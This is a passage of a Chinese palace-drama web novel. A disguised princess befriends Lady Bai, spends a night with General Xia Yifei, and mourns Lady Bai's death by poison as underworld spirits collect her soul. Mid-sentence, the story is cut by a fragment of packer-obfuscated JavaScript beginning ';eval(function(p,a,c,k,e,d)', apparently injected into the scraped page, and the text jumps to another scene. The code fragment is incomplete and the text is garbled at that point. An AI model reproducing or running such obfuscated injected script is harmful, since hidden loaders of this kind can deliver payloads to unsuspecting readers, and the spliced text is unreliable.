我保持着得体的微笑:“蒙娘娘记挂抬爱。春来殿景致清幽,臣妾住着甚是舒心。” 李皇后轻轻颔首,似在思量什么。她忽而低声道:“唉,当初我本将你安排至叠翠殿,大将军执意要你进春来殿。还望妹妹莫怪将军。”她顿了顿,目光似不经意地扫过我的神色。 我笑意盈盈作答:“大将军安排的甚合我心意,娘娘不必担心。” 李皇后眼中闪过一丝讶异,随即又恢复成温婉的笑意:“甚好。今夜东凉盛宴,你初来乍到,不必拘礼,且尽兴而归。” 我再度欠身,低眉顺眼地应道:“承蒙娘娘照拂,臣妾不胜欣喜,今夜定当细细领略,不负盛情。” 李皇后离开后,我一把拉过阿丘道出我的猜疑:“前任皇后是被人害死的吧。” 阿丘瞬间急了,慌张着四下张望,确认没人听见:“公主!这话咱们悄悄在春来殿说,小心别被人听见啊!” “瞧你急的。” 我望向李皇后离去的方向,那袭赭红翟衣早已消失在宫道尽头,唯有檐角铜铃在风中叮当作响。 “难怪姜妍说皇宫里的花,都是用人血浇灌的。” 72. 恨相知晚 “阿丘,我好像……有急事。” 阿丘立即紧张地凑近:“公主可是哪里不舒服?” 我故作慌乱地摸了摸空荡荡的袖袋:“我忘记带手帕了。嘿嘿,你能跑一趟吗?我在这儿等你。”我扯出个讨好的笑,顺手替阿丘理了理被风吹乱的鬓发。 “那公主可千万别乱跑,在这儿等我。” “去吧去吧。” 如此一来,我也能忙里偷闲。难得有幸光临月华池,怎可直接赴宴,错过了热闹背后的瑶池亭呢。奢华不及月华,瑶池却有三千白莲,夜里河灯点亮,假山流水涓涓,惬意妙哉。 我站在池水边发呆,指尖无意识地拨弄着腰间东凉配饰的流苏。月色中的瑶池泛起粼粼波光,三千白莲在晚风中轻轻摇曳,倒映在水面的河灯如同散落的星辰。 突然,听见脚步声从假山后传来,碎石被踩得沙沙作响。抬眼望去,瑶池另一岸边站了个穿着藏青色长袍的男子。他身形魁梧挺拔,肩膀宽阔得几乎能将夜色撑开,负手而立时,通身透着不怒自威的气势,似在观赏池中盛放的白莲。 他似乎察觉到我的目光,微微侧首,与我对视。隔着朦胧的池面,黑压压的氛围,我看不清他的神情,但仍礼貌地颔首行礼,而后转身准备离开。 没想到,身后响起脚步声,不紧不慢。我犹豫着回头看去——那人竟朝我走来。藏青衣袍被晚风拂动,袖口翻卷间露出内衬的月白暗纹。四周无人,怕是冲我来的,只好站在原地等。池面的风忽然变得有些凉,吹得莲叶簌簌轻响。 他靠近后无人开口,默默站在我身侧,两个人就这么莫名其妙并肩站在一起欣赏瑶池美景。 嗯?嗯??这人谁啊? 我偷偷瞄了男人。野兽的警觉都比较高,他立马也瞄我一眼。 两个人就这么你看我,我看你,活脱脱两尊……傻子。 他剑眉微扬,我忙垂眸抿唇; 他轻咳一声,我佯装拂袖整襟; 他抬手抚过鼻梁,我即刻低头盯着绣鞋。 一来二往,连个正面都瞧不见。 忽闻“公主”一声响,原是阿丘在廊中呼唤寻我,方才打破了这令人窒息的静默。我又看了他一眼,想了想还是点头示意后再离开。 宴会摆设完毕只等入座。 尽是些寻常百姓不常见的瓜果禽肉,除了蜜瓜和羊肉,我通通叫不出名字。我正欲入座,忽然从身侧掠过一道纤弱身影,那人脚步虚浮,一个踉跄撞在我肩上。 “抱歉……” 眼前的姑娘虽用胭脂水粉精心妆点,却掩不住眼底的黯淡,唇上朱色也盖不住病态的苍白。 “我没事。倒是……你还好吗?” 她有气无力地嗯了声,而后走向皇后身边的位置落座。 阿丘看出我的疑惑,主动介绍道:“那位是陈美人,刚嫁进宫时特别受宠。今年春说错了话,惹恼了陛下,自那之后,陛下再没去过兰薰殿。” “陈美人身子是得了什么重病吗?” “日思夜想呗。唉,好端端一美人,生生熬成这般模样。陈美人得宠那会儿,花容月貌,宛若神女下凡。陛下也是被美人容貌吸引娶进宫的。黄金珠宝三天两头往兰熏殿送,羡煞旁人。” 我若有所思地点头,在自己的位置坐下,继续问道:“陛下不知道陈美人相思成疾吗?” 阿丘边为我斟酒边叹息道:“怎会不知,不在乎罢了。” 我晃着酒杯轻笑,杯底映出万千灯火。所幸自己远离是非,离腥风血雨的争斗远远的。 月华池灯火通明,几十盏金灯笼把汉白玉台阶照得亮堂堂的,充满暖意。大殿里摆着几十张黑漆矮桌,桌上摆满了好吃的。侍女们捧着鎏金银壶,给大臣们倒着马奶酒。 乐声响起,琵琶和胡笳合奏着东凉乐曲。窈窕婀娜的舞女翩翩起舞,模仿雄狮和猎手的舞者激烈搏斗。歌台上由于歌声响亮,有如春光融和;舞殿上由于舞袖飘拂而充满寒意,有如风雨凄凉。 坐在高台上的男人是我为举办仪式的“丈夫”——东凉皇帝·拓跋枭。 前任东凉皇帝驾崩时,拓跋枭年仅三岁,虽登上皇位,实权皆掌握在母亲杨太后手中。十八岁时,杨太后病重无法参与朝政,拓跋枭亲政,开始推行改革、颁布新律。其中最成功的,当属“大将军选拔制”。无论何方人士,只要能在地牢存活三年,且活着一路杀到将军校场,最终活下来的人便是新一任东凉大将军。在拓跋枭十年励精图治的统治下,东凉势力远超赵国,曾经的西北附属国,转眼成为四国中最危险的存在。 也不知道他是忘记我这个和亲公主的存在,还是有意不来春来殿见我,也只字未提仪式重办一事。婚礼还有补办的说法吗?可能东凉没有吧。 夏逸飞没再日日光临春来殿,阿丘偶尔带来消息告知夏逸飞每日都在忙什么。这小姑娘是不是误会什么了…… 虽然在东凉皇宫不受待见,我毕竟还有公主的身份撑着,也有一定的位置。东凉皇帝身边坐着皇后,挨着过来是陈美人……以及一群不认识的女人。我并不喜欢这里,可以选的话,我挺想坐在最末端,可以的话,我想坐在柏夫人身边。 “想和她认识认识……” 不仅是邻居,还是同病相怜,或许她能成为我在深宫日子里最好的慰藉。 身后路过服侍倒酒的侍女听见我的声音,忽地俯身凑到我身边询问:“公主有什么吩咐吗?” 我局促地摇了摇头,端起面前的酒盏:“没、没有。” 宴会持续到后半夜,殿内的熏香混着酒气在脑中盘旋。阿丘如何带我回的春来殿,脑袋晕乎乎的,根本记不清。 一觉醒来,已是日晒三竿。阳光透过茜纱窗格在锦被上投下斑驳光影,晃得人睁不开眼。 “好渴……” 我赤着脚踩在冰凉的地砖上,提过茶壶,对着壶嘴便开始解渴。 “啊——活过来了。” 招呼阿丘去给我煮一碗莲子羹解解馋,我则伸着懒腰在后院精心照料我的小花小草。 这时,墙对面传来人和人说话嬉笑的声音。银铃般的笑声混着棋子落盘的脆响,隔着青砖墙也听得真切。 那边好热闹啊…… 趁着阿丘不在,我偷偷趴在门口看一眼,就一眼,应该不会被发现的。 我推开一点门缝偷窥,秋雨殿有一棵巨大的梧桐树,深秋季节树叶枯黄,簌簌飘落。两位姑娘蹦蹦跳跳着,嘻嘻哈哈,好不快乐。 “公主?您怎么跑这儿来了?” 阿丘的声音在背后炸响,惊得我撞上门框。 “阿丘?!你不是去膳房找什么吗?” “嗯,公主要的莲子羹做好了,这在屋内放着呢。话说公主趴在秋雨殿门口做什么?” “我——” 我话未出口,门内一声吼叫,喝止了我们。 “门外什么人!” 居然败露了! 我和阿丘做贼心虚,局面一时陷入尴尬。我讪讪推开门,正了正衣冠,露出诚恳的表情欠身行礼道:“柏夫人好。” 其实我根本不知道不远处的两位,哪一位是柏夫人,就看谁回我的话了。 柏夫人正同身边的婢女跳跃着捕捉飘落的梧桐叶,听见我的声音,含着浅笑的眼神露出讶异。 “你是……?” 微胖与我年龄相仿的姑娘回过身,我们四目相接。我跨过门槛走进她同样简陋的院子,走到她身边。正要道出姓名和来意,她突然提声喊道:“啊!赵国清漪公主!我见过你。” “夫人见过我?” 难道是昨夜的宴会?距离那么远也能看到吗? “下雨那日在殿前广场,公主初来东凉,我也在现场。” “啊……” 原来是那天。 柏夫人和蔼地笑着问道:“不知公主来找我何事?” 我眼神躲闪,怪不好意思地答道:“嗯……我听见这边挺热闹的,一时好奇,就……” 柏夫人露出夸张震惊的表情:“春来殿?原来公主住在春来殿吗?听不见声响,我以为隔壁照旧空无一人。既然住下为何不来秋雨殿寻我?” “我怕打扰了夫人。” “不打扰不打扰。”她想起什么,“你等我。” 柏夫人跳进荒草没过小腿的草堆里弯腰翻找,翻找了好一会才捡起一个彩色羽毛做的东西 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欢笑声飘散在空中,久久未散。带动毽子跳跃时,我看到了一张明媚的笑,尽管是深秋阴霾的天气,我好像看到了温暖的太阳。 清越婉转的笛声中,我和柏夫人并肩坐在秋雨殿后院的秋千上。 我不会吹笛子,但为了不暴露是玉笛自己发出的声音,我把它放在嘴角,装模作样还像那么回事。玉笛还在生我的气,暗淡的青色便是证据。好在叫它吹奏一曲尽兴,没有扭着丢我脸面。 柏夫人期待地看着我,眼神里藏不住崇拜和惊喜。我不好意思地傻笑,怕她好奇想摸摸玉笛,一曲结束后立马将玉笛收进怀里。 “演奏得真好!” 热烈的掌声在院中响起,柏夫人眉眼弯弯地为我鼓掌,枯叶蝶随她轻快的动作振翅欲飞。忽地,一阵奇异的熟悉感涌上心头,像是被一缕温暖的旧梦轻轻缠绕。我望着她明媚的笑靥,恍惚间,仿佛有一道遥远的声音穿透时光,在记忆深处轻轻回荡—— “小妹演奏得真好……再给姐姐吹奏一曲好吗?” 那声音清冷却温柔,带着梦中曾听过的熟悉语调,如微风拂过耳畔,令我心头一颤。 紫衣仙子……?是,姐姐……? 柏夫人与紫衣仙子并不相像,可这份温暖却如出一辙,像是久违的炉火,驱散了心底的寒意。我攥紧指尖,暗暗下定决心—— 我一定会离开这里,找回记忆,找回家人。 “深居幽宫,柏夫人不曾想过离开吗?” “不曾。” 开口的声音严肃又郑重,我怔怔地看着收起嬉笑如此认真的柏夫人。 “假设呢?我知道无法离开,但如果可以的话,你也不想离开吗?” “我离开了,后果是什么?是柏家上下死无葬身之地。株连九族的罪,我怎敢去犯。” 我的面色沉下来,心情也变得沉重。柏夫人边笑边小心翼翼地用手绢擦拭我额头上的汗珠。 “我曾在小时候见过他。小小年纪已有帝王之范,站在文武百官前头,望着东凉百姓、望着他未来的江山。阿爹牵着我的手,说,那便是你未来的夫君。我可高兴了,开始努力打扮自己,让自己上看去没那么不堪入目。可是……” 她苦笑着歪头盯着地上的蚂蚁,唤出明月的秋风中,我听到柏夫人轻轻的声音。 “时至今日,他都不曾正眼看我。” 我思索着安慰人的话,她却转眼又露出开朗的笑,坦然说道:“你若是担心在这深宫无聊了,无趣了,只管来找我。深宫只有你我二人,远离前院的争宠是非,咱们活得逍遥自在,如何?” 我深深地回望着她轻轻嗯了一声,抬头望着即将落秃的梧桐树,一时陷入了沉默中。良久,我浅浅问道:“柏夫人当真这么想吗?” 柏夫人被我的话噎住,片刻后无奈地耸了耸肩,说:“不这么想,也要逼自己这么想。否则,怎么可能坚持活下去。比起死亡,活着不是更好?这可是深宫啊,一个死了也没人知道的地方。” 73. 庭下花飞 看着她摇曳着的额发,我默不作声地伸手覆上柏夫人放在身侧的手背。 “至少我在,我会陪你。不管是谁死了,对方都能知道,不会死得不明不白,悄无声息。” 柏夫人被我说得一愣,轻缓地笑了笑:“多谢清漪公主。” 她的眼睛亮晶晶的,像一颗明亮的太阳,笑意更深地戳了戳我下沉的嘴角和脸颊,“气氛都压抑了。来,再接再厉,清漪公主今日便能学成出师!” “踢毽子?不了不了,我的腿都疼了……” “坚持坚持坚持!今日学成了毽子,明日我教你跳百索!” “跳百索?!好有趣的样子!坚持!” 那天之后,我隔三差五便去寻柏夫人一起玩乐,她会教我东凉的游戏,我也教她赵国的游戏。她给我看东凉画师的作品,我给她吟赵国诗人的词曲。 渐渐地,我忘了自己是来和亲的假公主,是来保证东凉不会攻打赵国的筹码。忘乎所以,沉浸在久违单纯的快乐中。 “夏逸飞?” 入夜,不请自来的人背对着我站在我打造的池塘边,手里抓着不知哪儿来的轻纱,怔怔地望着池塘里盛放的紫色莲花。 夏逸飞看向我,迷离的眼神与平日里的大将军判若两人。 “公主近来可好?” 没等我回答,他抢先替我说了出来。 “喜笑颜开,想是与柏夫人相谈甚欢。幽宫长夜有知己作伴,倒是我多余了。” 他的目光在我和池里的莲花之间挪移。我看见他眸光沉了些,几不可闻叹了口气。 院内凉风侵袭,我久久地望着夏逸飞,忽然笑了。 “来了怎么不进屋坐?” 我走到他身边邀他入室,他一言不发,拉着我步入室内。就在即将关紧门扉前,他问我:“可以吗?” 我笑着抽回手,说:“你都进来了才问可以吗,难不成我再请你出去?” 夏逸飞没说话,垂眸盯着我从他手中抽回的手。 东凉皇帝回宫,日理万机的大将军竟还有闲心来春来殿,莫不是身心寂寞了,来我这儿寻找慰藉? 我刚在心里嘲笑了自己这个荒唐的念头,眼前朱砂色的轻纱落下,房里的所有烛火瞬间熄灭。 刚才……有风吹进来吗? “公主……我可以唤你南风吗?” 夏逸飞的声音把我的心思拉回来,目光落在眼前隔着轻纱晦暗不清的脸上,我的心脏重重地跳了一下。 难道,我荒唐的念头,说准了? “你——” 昏暗中,他掀起朱红色的轻纱,轻纱浮起顺势钻进来,然后抬起头和我一起笼罩下轻纱下。朱纱下,我看清了他的脸,也闻到了他身上淡淡的酒香。没有距离的五官在此刻更加清晰,我从未察觉夏逸飞原来长得……那么好看。 “你欠我的,忘记了?” 我紧张地咽了口气:“没忘……可你也答应过不会为难我的……” “我反悔了。我现在只想要你。” 他拉起我的手,紧紧拉在一起。 “到底是喝了多少?性格都变了?我去给你煮醒酒汤。” 夏逸飞生生拽回我。 “我没醉。” 恼怒地瞪着我。 “别找借口。做,还是不做?我要你一个答复。” “我说不呢?” 他眼波流转,当真松开我的手。 “好。” 单薄的身影走向院内,北风吹得摇摇晃晃。我望向庭中落花,在他脚边浮起落下。 “夏逸飞。” 感受到他的脚步断了一瞬,我走向他。 “算是……报答你帮我隐藏秘密。”我拉起他的手重回屋内,“以及我发现,你不是坏人。” 遮挡视线的碎发有些碍事,我伸手拨开,夏逸飞红润布满汗珠的脸显现。汗水顺着棱角分明的下颌滑至滚动的喉结,再滑向沟壑分明的胸膛和小腹。心脏加快了几分,我下意识盯着汗珠视线向下又向上,似要把他全身上下都看透。 也许是不想被我看到这副表情,夏逸飞从我的身体一侧收回一只手捂住我的眼睛。 “好看吗?眼睛都看直了。” “……自恋。” 他挪移开覆盖在我眼睛上的手,睨了我一眼:“我还有话想和你说,可别晕过去。” “说什么呢……”我恼羞着抬脚,脚后跟在他后背上锤了一下,“你体力不支倒下了我还站着呢!” 夏逸飞不着痕迹地扯了扯唇角,带着玩味的声音在我耳畔响起:“这具身体显然还记得我,那么迎合我。” “那倒不一定。它不过饿了、渴了,对谁都一样。” 夏逸飞无奈叹息:“就不能说一句好听的吗?坦诚地接受我……” 他的声音放轻,显而易见比平时温柔不少,我忍不住多虑:难道他今日是有心事?心情低落才来寻我安慰? 我对上他的视线,试图看透他的内心。可当事人根本不给我这个机会,急促的吻落下来,挡住我所有视线。 头顶乌云密布,风声呼啸。一叶小舟在江上漂浮,最初不过小幅摇晃,紧接着是剧烈地颠簸,差一点就把舟上的游人颠出船体。豆大的雨点拍打下来,船夫仍在努力摆渡,晃动之间,游人感知危险,牢牢抓紧侧壁。 此时,一道燃烧着火焰的响箭划破暗色,在最顶端处炸开,我感到船体一阵震荡,接着江面绽放开一朵无色无形的花。 船体又好像起火了,将船夫与游人困于江火之间,进退两难。 我在做什么。我到底在做什么。南风仙子就是这么一个人吗?可我与前生的我不同,我有忠爱之人、两情相悦的夫君……厌恶的人也好,不怀有爱意的人也罢,我不都来者不拒吗? 风雨渐息,乌云偏移,没再落上游人的身体。 氤氲了雾气般的视野里,夏逸飞退了一步,跪坐在床榻的另一端喘息。我则如释重负般松了口气,翻了身,将脸上的汗水擦在身下的布衾上。三个回合打斗下来,我已经连说话的力气都没了。 相互歇了口气,我听到夏逸飞走下床榻窸窸窣窣穿衣裳的声音。 “睡着了?” “没有。我说了,你倒下了我还……清醒的……我只是累了,歇会儿。” 夏逸飞扶着我肩替我起身,抓过手边他的衣裳披到我身上,温柔地将我包裹严实。 “我带你去赏月。” 我无语扶额:“……你为何那么喜欢赏月啊。” 夏逸飞失笑,随手又带了件披风,打横抱起我跳上墙头又纵身一跃跳上屋顶。 “因为——‘举头望明月,低头思故乡。’” 天边的圆月落下的光晕,映入夏逸飞深邃的眼眸里,映照出光亮。瞌睡全无、身心宁静。我不自觉地回想起过去军营里的故事,想到那些有星辰陪伴的日子,想到那些与星辰诀别、假扮“公主”和亲的画面,还有和夏逸飞有关的一切。 我问道:“举头望明月,低头思故乡。将军想家了吗?” 夏逸飞略一沉默,从月亮上收回视线,低声道:“……想,每年每月每日都在想。” 我略感意外地抱着膝盖,问道:“我记得是……洛城?” “嗯。”他往我身边凑了凑,敞开披风将二人包裹住,“但那里已经没有我的家人,回去了,也无济于事。我唯一挂念的,是她。也不知她还活着没。” 那姑娘叫韩风,是重生前的我赠予的名。 “我来东凉之前,听说清漪公主身边有一侍女叫风儿。年幼时进宫,因同公主年龄相仿,做了贴身侍女。我想,她可能就是你的青梅。她原本是要随公主嫁进东凉,但因为一些…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柏夫人正在推开厢房的门,闻言回头:“师尊?清漪公主在赵国皇宫里的先生吗?” 我略显尴尬,此时才意识到自己多嘴。 “嗯……教过我一段时日。” 柏夫人指尖轻点着下巴,若有所思地点头:“师尊——好特别的称呼。按说公主的授业恩师,不该称少傅或是侍讲么?” 我顿时语塞,没料到她竟会这般刨根问底,只得含糊其辞:“师尊是……是……我私下给取的,以示对老师的……尊敬。” 柏夫人忽地展颜一笑,眼角弯成两道月牙。取过案上的青瓷茶盏递到我手中,茶汤映着她含笑的眸子:“清漪公主真是个尊师重道的好学生。我猜,公主的师尊一定也很喜欢公主。” 原来是拐着弯夸我啊。我为刚才有一瞬怀疑过柏夫人而道歉。如此心思单纯之人,怎会有害人之心。我真是……小人之心度君子之腹。 “柏夫人。其实……” 闻声她看了我一眼。我深吸一口气,指尖不自觉地攥紧了裙裾上的褶皱。 “我的名字不叫赵清漪。” 话一出口,心脏便剧烈地跳动起来,仿佛要冲破胸腔。 该不该说?这个念头在脑海中疯狂盘旋。若是走漏风声……我下意识环顾四周,庭院里只有风吹过梧桐的沙沙声。但柏夫人她…… 目光重新落回眼前人身上。她正用那双杏眼专注地望着我,没有探究,没有算计,只有纯粹的关切。恰在此时,云层忽散,一缕斜阳穿透而下,为她圆润的脸庞描上淡金色的轮廓,连细小的绒毛都清晰可辨,像是被镀了层温暖的釉彩。 若是连她都信不过,这深宫之中,我还能相信谁? “我……我其实……” 她的眼神是清澈的,不是城府颇深之人的眼睛。那双眼睛是无邪的,是能参透灵魂深处的澄澈。温暖的感觉是不会骗人的。 我闭了闭眼,终于下定决心—— “我其实,不是公主。” 74. 暗灯凉簟 日头到了正午。 秋雨殿内,檀香未散。 “啪嗒——” 瓷盏从侍女手中跌落,碎成几瓣。茶汤泼溅在青砖上的刹那,竟像腐血般泛起诡异的猩红。 “啊——”尖叫声刺破纱幔,划破寂静。 侍女踉跄后退时踩到自己的裙角,后脑重重磕在博古架上。她顾不得疼痛,连滚带爬冲出殿门,不敢一刻怠慢奔向太医院。 银针刺入皮肤,立刻被黑气熏染。床榻上的人直挺挺地躺着,那双本该笑意盈盈的杏眼此刻瞪得几乎要裂开眼眶,布满血丝的眼白中嵌着两颗浑浊发黑的瞳孔。侍女站在太医身后瑟瑟发抖,在听到太医定下的结论后,膝盖重重砸在地上。 “邪毒发作,瞳孔散大。气息已断,人已归西……” “夫人……夫人……” 九月初九,阳衰阴盛。秋雨殿柏夫人毒发不治,香消玉殒。 【又见东风】 听见嘈杂的动静,我和阿丘立马赶赴秋雨殿。 “啊——!!!!!” 阿丘的尖叫声划破空气,我顺着她惊恐的目光看去——几个宫人正将柏夫人从地上扶起。那张总是含着温柔笑意的脸,此刻惨白如纸,双眼还残留着未散的恐惧。 “柏夫人……” 我难以置信地抬脚就要冲过去,阿丘猛地拽住我的衣袖:“公主不能进去啊,会被污染的。” “阿丘!”我惊愕地看向阿丘,怒火中烧,“你在说什么啊……你听听自己在说什么混账话!放开我。” 阿丘被我吼声吓到不敢说话,委屈地松开我,怯生生地退后半步。 殿内,烛台映照着满室华彩。素日里清雅的陈设今日尽数撤换,案几上摆满精致的凉州菜馔,鲜花翡翠鎏金装点,极尽隆重。锦帐低垂的床榻上,柏夫人静静躺着。她身着绛红地联珠对雁纹锦袍,蹀躞带上的鎏金银饰泛着微光。认识柏夫人至今,我第一次见她如此精心打扮自己。 空有仅次于皇后的尊贵身份,却始终未得宫闱众人真心相待。奈何姿容平庸,终其一生,未得君王一顾…… 双脚似被禁锢,我没法迈出一步。好不容易抬起脚,又像被什么东西绊了一下,踉跄着摔倒在床榻边。 “柏夫人……柏夫人?你能听见我的声音吗?柏……夫人你怎么就……” 情绪崩溃,身体不断传来窒息的疼痛,呼吸被扼住,四肢止不住的发抖。我艰难地伸手抓住她还有余温的手,然后看向她放大的瞳孔,没有紧闭的双眼。那个整日欢笑的人,此刻面无表情地躺在床踏上,无法瞑目地提前结束煎熬。 “柏夫……柏夫人……” 我哭到发不出声音,阿丘不知何时跟进来的,跪在我身边替我擦去脸上眼泪。我一把拥住阿丘,紧闭上眼睛,想让这场噩梦醒过来,然后一个活蹦乱跳的柏夫人重新回来我面前。 身后突如其来一阵阴气,让我头皮一麻。眼前仿佛闪过一抹黑色的影子,我微微抬头睁开眼睛。 是黑无常。以及,站在门外的白无常。 黑无常入了室内,手边没有锁链以及那条恶心的黑蛇。我定定看了他一会儿,松开抱住阿丘的手臂。 “你们是来带她走的吗……” “是。”阴冷的声音不容置疑地回答我。 “我不是在做梦……这里不是我的梦魇、不是幻境……” “不是。” 阿丘环顾四周,不知道我在跟谁讲话,脸上明显的慌乱:“公主?公主在跟谁讲话?您、您别吓我……” 我捏了捏阿丘的手,说:“阿丘,你先出去。我想和柏夫人说说话。” 阿丘生怕我出事,不肯离去。我只好抱了抱她,向她保证我不会有事后,她才不舍地离开。 我转动身体换了个方向,挡在黑无常和柏夫人之间。 “我不许你们带走她。” 黑无常走到我跟前,俯瞰着跪坐在地上的我:“可仙子也没有救她的办法。” “……我有。” 黑无常看破了我的心思,直言戳穿:“起死回生不可用于凡人,你忘了吗?柳仙人不会帮你的。她的命数已到,请仙子节哀。” 他将语气放柔了几分,耐心地宽慰我。好不容易稳住的心绪再次崩塌,我自暴自弃地十指抓扣地面,死死地用指腹抓紧冷硬的地面。不断地抓、不停地抓,直到指尖流血,在地面留下十道血红的痕迹,指尖传来的痛意让我清醒几分。 黑无常没再说话,眉头微微皱起,蹲下身一把握住我的手腕,提起两只惨不忍睹的手,却不用力。黑色的细烟缠绕上我的手指,将伤口慢慢愈合。 我彻底闭上了眼,无力地额头倾靠上眼前人的身上,昏昏沉沉地扯住他的黑袍领口。阴冷的身体在我的额头贴上后,缓缓升起热度,转眼温暖蔓延至身体每一处。 倘若她也能如此这般,从床榻上醒过来,该多好…… 浓烈的绝望,无尽的麻木。 我没有办法救她,我什么都做不到,我只能杀人却不能救人。 一片黑暗中,白无常走进室内,越过我的身体,带走了柏夫人的灵魂,悄无声息地离开。不知过了多久,我听见黑无常轻声开口。 “要我带仙子离开吗?” 我抵着他的胸膛无力地摇头,抽噎着不断麻木地摇头。 “仙子是想替她报仇吗?” 我停顿了会儿,昏昏沉沉的脑袋反应了好一会儿他说的话,最后点头回答。 黑无常又问:“用凡人的方式,血债血偿、杀人偿命吗?” 我没有作答。 黑无常低头看着我,视线落在我的头顶:“要我帮你吗?我替你带走他们。” “杀人是不对的……”我颤抖着小声开口,“我只是,不想看着她死不瞑目,死得不明不白。到死,都没见到自己心念之人……今天一定是什么特别的日子,你看她盛装打扮,满桌的美酒佳肴……定是在等一个很重要的人……她怎么能……” 话尾化作一声呜咽。 “仙子想起两次奔赴旷野,所为何事吗?” “想不起。” “在你此番重返阳世之前,我们曾在忘川河畔相遇。那时你说了句令人费解的话,若我有朝一日动了凡心,便能知晓你为何出现在地府。凡人多情,七情六欲折磨人心。而地府无悲无喜,唯有静候轮回的魂魄,将前尘往事尽数抛却。你在人间徘徊太久,竟也染上了这痴缠的毛病,忘却了仙凡有别,忘却了人命如露,忘却了血肉之躯何等脆弱易折。” 黑无常捏着我的下巴,无情地闯进我的视线中。我失神地看着 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秋雨殿浸在昏暝里,连风声都凝滞了,一如我初入春来殿时的岑寂。阶前荒草蔓生,廊下再无足音,昔年环佩叮咚、笑语嫣然的痕迹,被啃噬殆尽。 庭前梧桐半死,伶仃的枯叶悬在枝头,像被遗忘的残蝶。再不会有人仰首惊呼,提着裙裾去捉那些虚幻的生机。如今它们只是吊在光阴里的骸骨,偶尔被风拨弄,发出沙哑的摩擦声——那是这座宫殿唯一的声响。 夕阳斜照时,朱漆廊柱投下长长的影,如同横陈的棺木。 干涩的眼睛再次被模糊,脚下一软,我险些跌坐在地上。阿丘及时冲过来接住我,搀扶着我慢慢离开秋雨殿。 我感到似乎有人站在我的身后。跨出门槛前,我再次回头。 黑无常和白无常站在房间门口,一旁还站着一道模糊看不清容貌的“人”。无比复杂的情绪涌上,我感到身而为人所有的情绪都一起涌上来。有委屈、有愤怒、有开心、有不舍……想要说“谢谢”,又觉得“再见”更为合适。 我留意到那张模糊的脸,脸颊有些微微提起,懵懵懂懂、微微一愣,后知后觉发现她是在对我笑。心脏隐隐的痛意传来,我也扬起一抹笑,苦涩地握紧手心。 “我们会再见的。等我……” 【黑白无常】 白无常翻了个白眼,胳膊肘撞了撞愣在原地的黑无常。 “又被仙子拒绝了呢。” 黑无常不予理睬。 “哎呀呀,第几次来着?第二次?第三次?加上化名的两次……哦!我想起了!第五次,对吧?” 骄傲地得出结论后,白无常还不忘炫耀。 黑无常眼中有光芒微闪而过。 两鬼牵着亡魂,看着不远处的仙子挥手道别,耳边听见亡魂颤颤巍巍说了几个字。 白无常纳了闷,扯了扯手中的锁链,问那亡魂:“为何道歉?” 亡魂只是哭着没再说话。 黑无常睨了眼亡魂,又望向南风。风声吞没了他的声音,无人无鬼听见。 “若是重走前生路,你的结局,依旧是黄泉吗?” 他收回视线,嗅着掌心残留的气息。 “这一次——我会成为你的归宿吗?” 75. 柏影逝萦 我眺望秋雨殿。 十月秋末,寒意刺骨,萧瑟的风声里夹杂着若有若无的叹息,仿佛亡魂的低语。 穿着白色衣裳带着白色遮布的人脚步匆匆,从秋雨殿抬着尸体走来出来,跨过门槛时木板上的“人”险些掉下来。我想上前拉开白布再看看躺在担架上的人,但一旁的阿丘拉住我的手臂将我往后带了带。放下尸体后,人员散去,我站在几里外的春来殿门前,静静地凝望那孤独的人,静静地陪着她。 没有哭声,没有哀声,一切照旧。 尸体被随意搁置在秋雨殿外的石阶上,无人理会,不知道过了多久。等白衣人离开又回来的时候,一起跟来的还有一名道士。嫔妃去世难道不该举办葬礼吗?好歹也是夫人,最基本的规格还是有的吧?就一个……超度的道士? 我站在春来殿门口不敢动,下意识屏住了呼吸。还没反应过来,我便被阿丘拉到转角的阴影处躲起来。超度的道士忘了眼四周,见无人,示意其余人将尸体又抬进秋雨殿,自己则先进殿。等所有人进去以后,秋雨殿的门被重重关上了。殿门“砰”地一声关上,沉闷的回音在空荡的宫墙间久久不散。 “他们关门做什么?” 阿丘没有回答我的问题,只是勉强挤出一个笑容说:“公主,我们进去吧。或者……您想不想去月华池散散心?我陪您!” 我知道阿丘是想让我不去关注柏夫人的事,但我哪儿耐得住。我折返回秋雨殿的大门前,发现门关着却并未上锁。 好机会。 我深深吸了一口气,定了定神,推开一扇门,透过门缝朝里望。我没见过道士超度的仪式,但是大概能想象得到。院内一片死寂,我左右环顾,别说道士了,就连柏夫人的尸体也见不着。隐约传出低声的吟唱,就像是不会拉二胡的人在乱拉琴,顷刻间让我浑身起了一片鸡皮疙瘩。 这哪儿是超度啊……亡者听了不会立马醒过来吗…… 推开门,破旧的大门发出刺耳的声响。院内果然没有人。我沿着声音走去,一直绕到后院,发现了正在做法事的一群人。然而就当我想走近的时候,手腕被人忽然拽住,强硬拉着我躲到一座假山后面。 “公主!不能去啊!” 竟然是阿丘,我松了口气。点头示意她我不进去,就在这里看。 借着假山的空隙,我看到道士掀开了柏夫人身上的白布,看到了柏夫人的尸体。心眼一下子提起来,阵阵寒意和恶心蹿上来。一旁的阿丘想阻拦,但来不及了。 阿丘偏过头,悲戚地说道:“所以不想让公主您看到的……” “那、那是什么……柏夫人?怎么可能是柏夫人……” 白布下的尸体毫无遮掩地落入我的眼中,苍白的皮肤上没有一点颜色,嘴唇和两处红点被涂抹上白色的粉末,眉毛和头发被剃光。她的身上没有什么伤口,十分安详地躺在那里,嘴角甚至还挂着似有若无的笑。若不是侧颈的胎记过于明显,我完全不敢相信躺在那里的是柏夫人。 那道士嘴里还在念着难听的经文,白衣人在他身后站成一排,双手抱在身前颔首悼念。秋风煽动柏夫人身下的白布,突然,那道士停止诵经,警觉地张望四周,确定无人后再继续。 “他们到底想做什么?把尸体抬出去又抬进来,还明目张胆的摆在后院?” “超、超度……” “超度?那白衣人拿的什么东西?” 阿丘脸上浮现出愕然的神情,半天不敢作答。片刻后沙哑着嗓子回答道:“是、是燃油……毒发身亡者被视为邪物,需剔除毛发净身后……然后……火、火葬……” “邪物?荒唐!我看谁敢烧她!” 根本来不及思考,我的身体已经快一步理智冲向柏夫人的尸体。 “你是谁!要做什么!” 那道士一下慌张地朝我怒吼。我冲上前一把推开他,挡护在柏夫人的尸体上方。眼看白衣人聚拢过来,即将我包围住无路可逃,我立马蹲下身拿白布裹住柏夫人的尸体,抱起她从白衣人之间的缝隙中突围。 “阿丘!帮我!” 